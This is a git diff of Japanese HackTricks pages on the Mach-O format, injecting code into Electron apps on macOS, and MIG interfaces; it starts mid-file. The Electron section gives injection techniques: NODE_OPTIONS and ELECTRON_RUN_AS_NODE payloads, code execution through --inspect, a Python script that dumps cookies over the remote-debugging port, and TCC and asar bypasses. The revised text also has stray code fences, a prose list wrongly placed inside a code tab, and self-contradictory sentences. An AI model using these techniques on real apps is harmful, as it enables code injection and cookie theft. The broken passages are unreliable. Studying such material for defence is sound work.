struct segment_command_64 { /* 64ビットアーキテクチャ用 */
+struct segment_command_64 { /* for 64-bit architectures */
uint32_t cmd; /* LC_SEGMENT_64 */
-uint32_t cmdsize; /* section_64構造体のサイズを含む */
-char segname[16]; /* セグメント名 */
-uint64_t vmaddr; /* このセグメントのメモリアドレス */
-uint64_t vmsize; /* このセグメントのメモリサイズ */
-uint64_t fileoff; /* このセグメントのファイルオフセット */
-uint64_t filesize; /* ファイルからマップする量 */
-int32_t maxprot; /* 最大VM保護 */
-int32_t initprot; /* 初期VM保護 */
- uint32_t nsects; /* セグメント内のセクション数 */
- uint32_t flags; /* フラグ */
+uint32_t cmdsize; /* includes sizeof section_64 structs */
+char segname[16]; /* segment name */
+uint64_t vmaddr; /* memory address of this segment */
+uint64_t vmsize; /* memory size of this segment */
+uint64_t fileoff; /* file offset of this segment */
+uint64_t filesize; /* amount to map from the file */
+int32_t maxprot; /* maximum VM protection */
+int32_t initprot; /* initial VM protection */
+ uint32_t nsects; /* number of sections in segment */
+ uint32_t flags; /* flags */
};
@@ -190,29 +190,29 @@ uint32_t reserved2; /* reserved (for count or sizeof) */
uint32_t reserved3; /* reserved */
};
```
-例: **セクションヘッダー**:
+例:**セクションヘッダー**の例:
-もし **セクションオフセット** (0x37DC) に **アーキテクチャが始まるオフセット**、この場合 `0x18000` を **追加** すると、`0x37DC + 0x18000 = 0x1B7DC`
+もし**セクションオフセット**(0x37DC)に**アーキテクチャが始まるオフセット**(この場合`0x18000`)を**追加**すると、`0x37DC + 0x18000 = 0x1B7DC` になります。
-
+
-**コマンドライン**からも **ヘッダー情報** を取得することが可能です:
+また、**コマンドライン**から**ヘッダー情報**を取得することも可能です。
```bash
otool -lv /bin/ls
```
```markdown
このcmdによってロードされる一般的なセグメント:
-* **`__PAGEZERO`:** カーネルに**アドレスゼロ**を**マップ**するよう指示し、**読み取り、書き込み、実行**ができないようにします。この構造体内のmaxprotとminprot変数はゼロに設定され、このページには**読み書き実行権限がない**ことを示します。
+* **`__PAGEZERO`:** カーネルに**アドレスゼロ**を**読み取り、書き込み、実行**できないように**マップ**するよう指示します。構造体内のmaxprotとminprot変数はゼロに設定され、このページには**読み取り書き込み実行権限がない**ことを示します。
* この割り当ては**NULLポインターのデリファレンス脆弱性を緩和**するために重要です。
-* **`__TEXT`**: **読み取り**および**実行**権限(書き込みなし)を持つ**実行可能なコード**を含みます。このセグメントの一般的なセクション:
+* **`__TEXT`**: **読み取り**および**実行**権限(書き込みなし)を持つ**実行可能コード**を含みます。このセグメントの一般的なセクション:
* `__text`: コンパイルされたバイナリコード
* `__const`: 定数データ
* `__cstring`: 文字列定数
* `__stubs`および`__stubs_helper`: ダイナミックライブラリの読み込みプロセス中に関与します
-* **`__DATA`**: **読み取り**および**書き込み**可能なデータを含みます(実行不可)。
+* **`__DATA`**: **読み取り書き込み可能**なデータを含みます(実行不可)。
* `__data`: 初期化されたグローバル変数
* `__bss`: 初期化されていない静的変数
* `__objc_*`(\_\_objc\_classlist、\_\_objc\_protolistなど):Objective-Cランタイムで使用される情報
@@ -221,22 +221,22 @@ otool -lv /bin/ls
### **`LC_MAIN`**
-**entryoff属性**内のエントリーポイントを含みます。ロード時に、**dyld**は単純にこの値を(メモリ内の)**バイナリのベースに追加**し、その後この命令に**ジャンプ**してバイナリのコードの実行を開始します。
+**entryoff属性**にエントリーポイントを含みます。ロード時に、**dyld**は単純にこの値を(メモリ内の)**バイナリのベースに追加**し、その後この命令に**ジャンプ**してバイナリのコードの実行を開始します。
### **LC\_CODE\_SIGNATURE**
-Macho-Oファイルの**コード署名に関する情報**を含みます。これには通常、ファイルの最後にある**署名ブロブ**を**指す****オフセット**のみが含まれます。\
-ただし、このセクションに関する情報は[**このブログ投稿**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)およびこの[gists](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)で見つけることができます。
+Macho-Oファイルの**コード署名に関する情報**を含みます。これには通常、ファイルの最後にある**署名ブロブを指す****オフセット**のみが含まれます。\
+ただし、このセクションに関する情報は[**このブログ投稿**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)やこの[**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)で見つけることができます。
### **LC\_LOAD\_DYLINKER**
-プロセスのアドレス空間に共有ライブラリをマップする**動的リンカー実行ファイルへのパス**を含みます。**値は常に`/usr/lib/dyld`**に設定されます。macOSでは、dylibのマッピングは**カーネルモードではなくユーザーモード**で行われることに注意することが重要です。
+プロセスのアドレス空間に共有ライブラリをマップする**動的リンカー実行ファイルへのパス**を含みます。**値は常に`/usr/lib/dyld`に設定**されます。macOSでは、dylibのマッピングは**カーネルモードではなくユーザーモード**で行われることに注意することが重要です。
### **`LC_LOAD_DYLIB`**
-このロードコマンドは、**ローダー**(dyld)に**ライブラリをロードおよびリンクするよう指示する****動的ライブラリ**依存関係を記述します。Mach-Oバイナリが必要とする**各ライブラリ**にはLC\_LOAD\_DYLIBロードコマンドがあります。
+このロードコマンドは、**ローダー**(dyld)に**ライブラリをロードおよびリンクするよう指示する****動的ライブラリ**の依存関係を記述します。Mach-Oバイナリが必要とする各ライブラリにはLC\_LOAD\_DYLIBロードコマンドがあります。
-* このロードコマンドは、実際の依存動的ライブラリを記述する**`dylib`**構造体を含む**`dylib_command`**型の構造体です:
+* このロードコマンドは、実際の依存動的ライブラリを記述する**`dylib_command`**型の構造体(struct dylibを含む)です:
```
```objectivec
struct dylib_command {
@@ -252,9 +252,7 @@ uint32_t current_version; /* library's current version number */
uint32_t compatibility_version; /* library's compatibility vers number*/
};
```
-![](<../../../.gitbook/assets/image (558).png>)
-
-また、次のコマンドラインからこの情報を取得することもできます:
+以下のコマンドでもこの情報を取得できます:
```bash
otool -L /bin/ls
/bin/ls:
@@ -275,7 +273,7 @@ Mach-Oバイナリには、**LC\_MAIN**で指定されたアドレスの**前に
## **Mach-Oデータ**
-ファイルの中心には、ロードコマンド領域で定義された複数のセグメントで構成されるデータ領域があります。**各セグメント内にはさまざまなデータセクションが収容され、各セクションには**コードまたはデータ**が含まれています。
+ファイルの中心には、ロードコマンド領域で定義された複数のセグメントで構成されるデータ領域があります。**各セグメントにはさまざまなデータセクションが収容されており**、各セクションには**コードまたはデータ**が含まれています。
{% hint style="success" %}
データは基本的に、ロードコマンド**LC\_SEGMENTS\_64**によって読み込まれる**すべての情報**を含む部分です。
@@ -285,8 +283,8 @@ Mach-Oバイナリには、**LC\_MAIN**で指定されたアドレスの**前に
これには次のものが含まれます:
-- **関数テーブル**:プログラム関数に関する情報を保持
-- **シンボルテーブル**:バイナリで使用される外部関数に関する情報を含む
+- **関数テーブル**:プログラム関数に関する情報を保持します。
+- **シンボルテーブル**:バイナリで使用される外部関数に関する情報を含みます。
- 内部関数、変数名なども含まれる可能性があります。
確認するには、[**Mach-O View**](https://sourceforge.net/projects/machoview/)ツールを使用できます:
@@ -301,12 +299,12 @@ size -m /bin/ls
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
-HackTricksをサポートする他の方法:
+HackTricks をサポートする他の方法:
-* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
-* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
+* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。**
+* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
index 4ddb07d6c..28f67c6cb 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@@ -2,31 +2,30 @@
-htARTE(HackTricks AWS Red Team Expert)を通じて、ゼロからヒーローまでAWSハッキングを学びましょう!
+htARTE(HackTricks AWS Red Team Expert)を通じてゼロからヒーローまでAWSハッキングを学ぶ!
HackTricksをサポートする他の方法:
-- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
+- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
-- **ハッキングトリックを共有する**ために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
+- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
+- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
## 基本情報
-Electronが何かわからない場合は、[**こちらで多くの情報を見つけることができます**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。ただし、今のところはElectronが**node**を実行していることを知っておくだけで十分です。
-
+Electronが何かわからない場合は、[**こちらで多くの情報を見つけることができます**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。ただし、今のところ、Electronは**node**を実行することを知っておくだけで十分です。\
そして、nodeには、指定されたファイル以外のコードを実行するために使用できる**パラメータ**や**環境変数**がいくつかあります。
### Electron Fuses
-これらのテクニックは次に議論されますが、最近のElectronではこれらを防ぐためにいくつかの**セキュリティフラグ**が追加されています。これらは[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)であり、これらはmacOSのElectronアプリケーションが**任意のコードを読み込むのを防ぐ**ために使用されます:
+これらのテクニックは次に議論されますが、最近、Electronはこれらを防ぐためにいくつかの**セキュリティフラグ**を追加しました。これらは[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)であり、これらはmacOSのElectronアプリケーションが**任意のコードを読み込むのを防ぐ**ために使用されます:
- **`RunAsNode`**:無効にすると、環境変数**`ELECTRON_RUN_AS_NODE`**の使用を防ぎ、コードのインジェクションを防ぎます。
- **`EnableNodeCliInspectArguments`**:無効にすると、`--inspect`、`--inspect-brk`などのパラメータが尊重されなくなります。これにより、コードのインジェクションが防止されます。
-- **`EnableEmbeddedAsarIntegrityValidation`**:有効にすると、読み込まれた**`asar`**ファイルがmacOSによって検証されます。このファイルの内容を変更することによるコードのインジェクションを防ぎます。
+- **`EnableEmbeddedAsarIntegrityValidation`**:有効にすると、読み込まれた**`asar`** **ファイル**がmacOSによって**検証**されます。このファイルの内容を変更することによる**コードのインジェクション**を防ぎます。
- **`OnlyLoadAppFromAsar`**:これが有効になっている場合、次の順序で読み込みを検索する代わりに:**`app.asar`**、**`app`**、最後に**`default_app.asar`**。app.asarのみをチェックおよび使用するため、**`embeddedAsarIntegrityValidation`**フューズと組み合わせると、検証されていないコードを読み込むことが**不可能**になります。
- **`LoadBrowserProcessSpecificV8Snapshot`**:有効にすると、ブラウザプロセスはV8スナップショットに`browser_v8_context_snapshot.bin`というファイルを使用します。
@@ -59,28 +58,30 @@ macOSアプリケーションでは、通常、`application.app/Contents/Framewo
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
-[https://hexed.it/](https://hexed.it/)でこのファイルをロードし、前の文字列を検索できます。この文字列の後に、各ヒューズが無効または有効かを示す数字「0」または「1」がASCIIで表示されます。単純に16進コードを変更して(`0x30`は`0`で、`0x31`は`1`です)、**ヒューズの値を変更**できます。
+```markdown
+[https://hexed.it/](https://hexed.it/) でこのファイルをロードし、前の文字列を検索できます。この文字列の後に、各ヒューズが無効または有効かを示す数字「0」または「1」がASCIIで表示されます。単純にヘックスコードを変更して(`0x30` は `0` で、`0x31` は `1` です)、**ヒューズの値を変更**できます。
-
+
-**Electronアプリケーション**内の**`Electron Framework`バイナリ**をこれらのバイトで変更した場合、アプリケーションは実行されなくなります。
+**Electronアプリケーション**内の**`Electron Framework`バイナリ**をこれらのバイトを変更したもので上書きしようとすると、アプリケーションは実行されなくなります。
## Electronアプリケーションにコードを追加してRCE
-Electronアプリケーションが使用している**外部のJS/HTMLファイル**があるかもしれないため、攻撃者はこれらのファイルにコードをインジェクトし、その署名がチェックされないため、アプリのコンテキストで任意のコードを実行できます。
+Electronアプリが使用している**外部のJS/HTMLファイル**があるかもしれないため、攻撃者はこれらのファイルにコードをインジェクトし、その署名がチェックされないため、アプリのコンテキストで任意のコードを実行できます。
{% hint style="danger" %}
ただし、現時点では2つの制限があります:
-* **`kTCCServiceSystemPolicyAppBundles`**権限が**必要**ですが、デフォルトではこれは不可能になりました。
-* 通常、コンパイルされた**`asap`**ファイルには、ヒューズ**`embeddedAsarIntegrityValidation`**と**`onlyLoadAppFromAsar`**が`有効`になっています。
+* アプリを変更するには**`kTCCServiceSystemPolicyAppBundles`**権限が**必要**です。したがって、デフォルトではこれは不可能になります。
+* コンパイルされた**`asap`**ファイルには通常、ヒューズ**`embeddedAsarIntegrityValidation`**と**`onlyLoadAppFromAsar`**が`有効`になっています。
これにより、この攻撃経路はより複雑になります(または不可能になります)。
{% endhint %}
**`kTCCServiceSystemPolicyAppBundles`**の要件をバイパスすることが可能であり、アプリケーションを別のディレクトリ(たとえば**`/tmp`**)にコピーし、フォルダ名を**`app.app/Contents`**から**`app.app/NotCon`**に変更し、**悪意のある**コードで**asar**ファイルを変更し、それを**`app.app/Contents`**に戻して実行することができます。
-asarファイルからコードを展開することができます。
+asarファイルからコードを展開することができます:
+```
```bash
npx asar extract app.asar app-decomp
```
@@ -131,7 +132,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
```
## `NODE_OPTIONS`を使用したRCE
-異なるファイルにペイロードを保存して実行することができます:
+異なるファイルにペイロードを保存して実行することができます:
{% code overflow="wrap" %}
```bash
@@ -144,14 +145,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
{% endcode %}
{% hint style="danger" %}
-**`EnableNodeOptionsEnvironmentVariable`**が**無効**になっている場合、アプリは起動時に環境変数**NODE_OPTIONS**を**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、その環境変数も**無視**されます。なお、**`RunAsNode`**が無効になっている場合も同様です。
+**`EnableNodeOptionsEnvironmentVariable`**が**無効**になっている場合、アプリは起動時に環境変数**NODE_OPTIONS**を**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、その環境変数も**無視**されます。ただし、**`RunAsNode`**が無効になっている場合も同様です。
-**`ELECTRON_RUN_AS_NODE`**を設定しない場合、次の**エラー**が表示されます: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
+**`ELECTRON_RUN_AS_NODE`**を設定しない場合、次の**エラー**が発生します: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
{% endhint %}
### アプリPlistからのインジェクション
-これらのキーを追加して持続性を維持するために、この環境変数をplistで悪用することができます:
+これらのキーを追加して、この環境変数をplistで悪用することができます:
```xml
EnvironmentVariables
@@ -169,10 +170,8 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
```
## 検査によるRCE
-[**こちら**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)によると、Electronアプリケーションを**`--inspect`**、**`--inspect-brk`**、**`--remote-debugging-port`**などのフラグを使用して実行すると、**デバッグポートが開かれ**、それに接続できるようになります(たとえば、Chromeの`chrome://inspect`から)。そのため、**コードを注入**したり、新しいプロセスを起動したりすることができます。\
-例えば:
-
-{% code overflow="wrap" %}
+[**これ**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)によると、**`--inspect`**、**`--inspect-brk`**、**`--remote-debugging-port`**などのフラグを使用してElectronアプリケーションを実行すると、**デバッグポートが開かれ**、それに接続できるようになります(たとえば、Chromeの`chrome://inspect`から)。そのため、**コードを注入**したり、新しいプロセスを起動したりすることができます。\
+例:
```bash
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
@@ -181,14 +180,14 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
-**`EnableNodeCliInspectArguments`**が無効になっている場合、アプリは起動時に`--inspect`などのノードパラメータ(例:`--inspect`)を**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、この環境変数も**無視**されます。なお、**`RunAsNode`**が無効になっている場合も同様です。
+**`EnableNodeCliInspectArguments`**が無効になっている場合、アプリは起動時に`--inspect`などのノードパラメータ(`--inspect`など)を**無視**しますが、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は**無視**されます。ただし、**`RunAsNode`**が無効になっている場合も同様です。
-ただし、引き続き**electronパラメータ`--remote-debugging-port=9229`**を使用することはできますが、前述のペイロードは他のプロセスを実行するためには機能しません。
+ただし、引き続き**electronパラメータ`--remote-debugging-port=9229`**を使用することができますが、前述のペイロードは他のプロセスを実行するためには機能しません。
{% endhint %}
パラメータ**`--remote-debugging-port=9222`**を使用すると、Electronアプリから**履歴**(GETコマンドで)やブラウザの**クッキー**(ブラウザ内で**復号**され、それらを提供する**jsonエンドポイント**があるため)などの情報を盗むことができます。
-これについては、[**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)や[**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)で学び、自動ツール[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)や次のような単純なスクリプトを使用できます:
+これについては、[**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)と[**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)で詳しく学ぶことができ、自動ツール[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)や次のようなシンプルなスクリプトを使用できます:
```python
import websocket
ws = websocket.WebSocket()
@@ -196,7 +195,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
-[**このブログポスト**](https://hackerone.com/reports/1274695) では、このデバッグを悪用して、ヘッドレスクロームが**任意の場所に任意のファイルをダウンロード**するようにします。
+[**このブログポスト**](https://hackerone.com/reports/1274695) では、このデバッグが悪用され、ヘッドレスクロームが**任意の場所に任意のファイルをダウンロード**するようになります。
### アプリ Plist からのインジェクション
@@ -217,17 +216,17 @@ print(ws.recv()
## 古いバージョンを悪用したTCCバイパス
{% hint style="success" %}
-macOSのTCCデーモンは、アプリケーションの実行バージョンをチェックしません。したがって、前述のいずれのテクニックを使用しても**Electronアプリケーションにコードをインジェクトできない**場合は、以前のバージョンのAPPをダウンロードし、その上でコードをインジェクトすることができます(Trust Cacheが防止しない限り、TCC権限を取得します)。
+macOSのTCCデーモンは、アプリケーションの実行バージョンをチェックしません。したがって、前述のいずれのテクニックでもElectronアプリケーションにコードをインジェクトできない場合は、以前のバージョンのアプリをダウンロードしてコードをインジェクトすることができます。それでもTCC権限を取得します(Trust Cacheが防止しない限り)。
{% endhint %}
-## JSコード以外の実行
+## 非JSコードの実行
-前述のテクニックを使用すると、**Electronアプリケーションのプロセス内でJSコードを実行**できます。ただし、**子プロセスは親アプリケーションと同じサンドボックスプロファイル**で実行され、**TCC権限を継承**します。\
+前述のテクニックにより、**Electronアプリケーションのプロセス内でJSコードを実行**できます。ただし、**子プロセスは親アプリケーションと同じサンドボックスプロファイル**で実行され、**TCC権限を継承**します。\
したがって、たとえばカメラやマイクへのアクセス権を悪用したい場合は、**プロセスから別のバイナリを実行**するだけで済みます。
## 自動インジェクション
-ツール[**electroniz3r**](https://github.com/r3ggi/electroniz3r)は、インストールされている**脆弱性のあるElectronアプリケーションを見つけ、それらにコードをインジェクト**するのに簡単に使用できます。このツールは**`--inspect`**テクニックを使用しようとします:
+ツール[**electroniz3r**](https://github.com/r3ggi/electroniz3r)は、インストールされている**脆弱なElectronアプリケーションを見つけ**、それらにコードをインジェクトするのに簡単に使用できます。このツールは**`--inspect`**テクニックを使用しようとします:
自分でコンパイルする必要があり、次のように使用できます:
```bash
@@ -277,10 +276,10 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
HackTricks をサポートする他の方法:
-* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
-* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
+* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
-* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
+* **HackTricks** および **HackTricks Cloud** のGitHubリポジトリにPRを提出して、**あなたのハッキングトリックを共有する**。 [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
index a4bd1e282..8785b7e3d 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
@@ -9,8 +9,8 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。**
-* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
+* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
@@ -37,13 +37,13 @@ n2 : uint32_t);
```
{% endcode %}
-今、migを使用して、互いに通信し合い、Subtract関数を呼び出すことができるサーバーおよびクライアントコードを生成します:
+今、migを使用して、互いに通信し合い、Subtract関数を呼び出すためのサーバーおよびクライアントコードを生成します:
```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
現在のディレクトリにいくつかの新しいファイルが作成されます。
-**`myipcServer.c`** と **`myipcServer.h`** のファイルには、受信したメッセージIDに基づいて呼び出す関数を基本的に定義する **`SERVERPREFmyipc_subsystem`** 構造体の宣言と定義が含まれています(開始番号は500としました):
+**`myipcServer.c`** と **`myipcServer.h`** のファイルには、**`SERVERPREFmyipc_subsystem`** 構造体の宣言と定義が含まれており、受信したメッセージIDに基づいて呼び出す関数が基本的に定義されています(開始番号は500と指定されています):
{% tabs %}
{% tab title="myipcServer.c" %}
@@ -64,7 +64,12 @@ myipc_server_routine,
```
{% endtab %}
-{% tab title="myipcServer.h" %}
+{% tab title="myipcServer.h" %}次の手順で、MIG インターフェースを生成します。
+
+1. MIG 定義ファイル (myipc.defs) を作成します。
+2. MIG コンパイラを使用して、myipc.defs ファイルから myipcServer.c ファイルを生成します。
+3. myipcServer.c ファイルをサーバーアプリケーションに組み込みます。
+4. サーバーアプリケーションをビルドして実行します。{% endtab %}
```c
/* Description of this subsystem, for use in direct RPC */
extern const struct SERVERPREFmyipc_subsystem {
@@ -80,7 +85,7 @@ routine[1];
{% endtab %}
{% endtabs %}
-前の構造に基づいて、関数**`myipc_server_routine`**は**メッセージID**を取得し、適切な呼び出すべき関数を返します:
+前の構造に基づいて、**`myipc_server_routine`** 関数は **メッセージ ID** を取得し、適切な呼び出すべき関数を返します:
```c
mig_external mig_routine_t myipc_server_routine
(mach_msg_header_t *InHeadP)
@@ -95,16 +100,17 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
-実際には、この関係を**`myipcServer.h`**の**`subsystem_to_name_map_myipc`**構造体で特定することができます。
+この例では、定義で関数を1つだけ定義しましたが、複数の関数を定義した場合、それらは**`SERVERPREFmyipc_subsystem`**の配列内にあり、最初の関数はID **500**に割り当てられ、2番目の関数はID **501**に割り当てられます...
+
+実際には、この関係を**`myipcServer.h`**の**`subsystem_to_name_map_myipc`**構造体で特定することができます:
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
{ "Subtract", 500 }
#endif
```
-サーバーを動作させるためのもう1つの重要な機能は**`myipc_server`**であり、これは実際に受信したIDに関連する関数を**呼び出す**ものです:
-
-mig_external boolean_t myipc_server
+```c
+mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
/*
@@ -119,29 +125,22 @@ mig_routine_t routine;
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
-/* 最小サイズ:異なる場合はroutine()が更新します */
+/* Minimal size: routine() will update it if different */
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
-if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
- ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
- ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
+if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
